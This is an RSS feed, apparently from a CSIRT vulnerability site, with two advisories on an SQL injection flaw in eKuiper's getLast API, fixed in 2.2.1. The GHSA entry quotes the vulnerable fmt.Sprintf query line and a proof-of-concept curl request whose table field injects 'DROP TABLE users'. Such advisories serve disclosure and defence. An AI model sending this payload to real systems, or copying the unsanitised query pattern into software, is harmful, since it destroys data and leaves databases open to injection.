<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 03 Oct 2026 21:07:56 +0000</lastBuildDate>
    <item>
      <title>CVE-2025-54379 — eKuiper API endpoints handling SQL queries with user-controlled table names.</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2025-54379</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; lf-edge ekuiper&lt;/p&gt;
&lt;p&gt;LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. In versions before 2.2.1, there is a critical SQL Injection vulnerability in the getLast API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise. This is fixed in version 2.2.1.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; lf-edge ekuiper&lt;/p&gt;
&lt;p&gt;LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. In versions before 2.2.1, there is a critical SQL Injection vulnerability in the getLast API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise. This is fixed in version 2.2.1.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2025-54379</guid>
    </item>
    <item>
      <title>GHSA-526j-mv3p-f4vv — eKuiper API endpoints handling SQL queries with user-controlled table names.</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-526j-mv3p-f4vv</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/lf-edge/ekuiper/v2, Go: github.com/lf-edge/ekuiper&lt;/p&gt;
&lt;p&gt;### Summary
A critical SQL Injection vulnerability exists in the `getLast` API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise.&lt;/p&gt;
&lt;p&gt;### Details
The root cause lies in the use of unsanitized user-controlled input when constructing SQL queries using `fmt.Sprintf`, without validating the `table` parameter. Specifically, in:&lt;/p&gt;
&lt;p&gt;```go
query := fmt.Sprintf(&amp;#34;SELECT * FROM %s ORDER BY rowid DESC LIMIT 1&amp;#34;, table)
```
Any value passed as the `table` parameter is directly interpolated into the SQL string, enabling injection attacks. This is reachable via API interfaces that expose time-series queries.&lt;/p&gt;
&lt;p&gt;### PoC
1. **Deploy eKuiper instance** (default config is sufficient).
2. **Send a crafted request to the SQL query endpoint**:
```bash
   curl -X POST http://localhost:9081/sql-query \
     -H &amp;#34;Content-Type: application/json&amp;#34; \
     -d &amp;#39;{
       &amp;#34;table&amp;#34;: &amp;#34;sensors; DROP TABLE users; --&amp;#34;,
       &amp;#34;operation&amp;#34;: &amp;#34;getLast&amp;#34;
     }&amp;#39;
```
3. **Effect**: Executes two SQL queries — the first selects data, the second drops the `users` table.
4. **Verify Result**:
```bash
   sqlite3 etc/kuiper/data/kuiper.db &amp;#34;.tables&amp;#34;
```&lt;/p&gt;
&lt;p&gt;### Impact
CWE-89: Improper Neutralization of Special Elements used in an SQL Command (&amp;#39;SQL Injection&amp;#39;)&lt;/p&gt;
&lt;p&gt;### Refferences
- https:/…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/lf-edge/ekuiper/v2, Go: github.com/lf-edge/ekuiper&lt;/p&gt;
&lt;p&gt;### Summary
A critical SQL Injection vulnerability exists in the `getLast` API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise.&lt;/p&gt;
&lt;p&gt;### Details
The root cause lies in the use of unsanitized user-controlled input when constructing SQL queries using `fmt.Sprintf`, without validating the `table` parameter. Specifically, in:&lt;/p&gt;
&lt;p&gt;```go
query := fmt.Sprintf(&amp;#34;SELECT * FROM %s ORDER BY rowid DESC LIMIT 1&amp;#34;, table)
```
Any value passed as the `table` parameter is directly interpolated into the SQL string, enabling injection attacks. This is reachable via API interfaces that expose time-series queries.&lt;/p&gt;
&lt;p&gt;### PoC
1. **Deploy eKuiper instance** (default config is sufficient).
2. **Send a crafted request to the SQL query endpoint**:
```bash
   curl -X POST http://localhost:9081/sql-query \
     -H &amp;#34;Content-Type: application/json&amp;#34; \
     -d &amp;#39;{
       &amp;#34;table&amp;#34;: &amp;#34;sensors; DROP TABLE users; --&amp;#34;,
       &amp;#34;operation&amp;#34;: &amp;#34;getLast&amp;#34;
     }&amp;#39;
```
3. **Effect**: Executes two SQL queries — the first selects data, the second drops the `users` table.
4. **Verify Result**:
```bash
   sqlite3 etc/kuiper/data/kuiper.db &amp;#34;.tables&amp;#34;
```&lt;/p&gt;
&lt;p&gt;### Impact
CWE-89: Improper Neutralization of Special Elements used in an SQL Command (&amp;#39;SQL Injection&amp;#39;)&lt;/p&gt;
&lt;p&gt;### Refferences
- https:/…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-526j-mv3p-f4vv</guid>
    </item>
  </channel>
</rss>
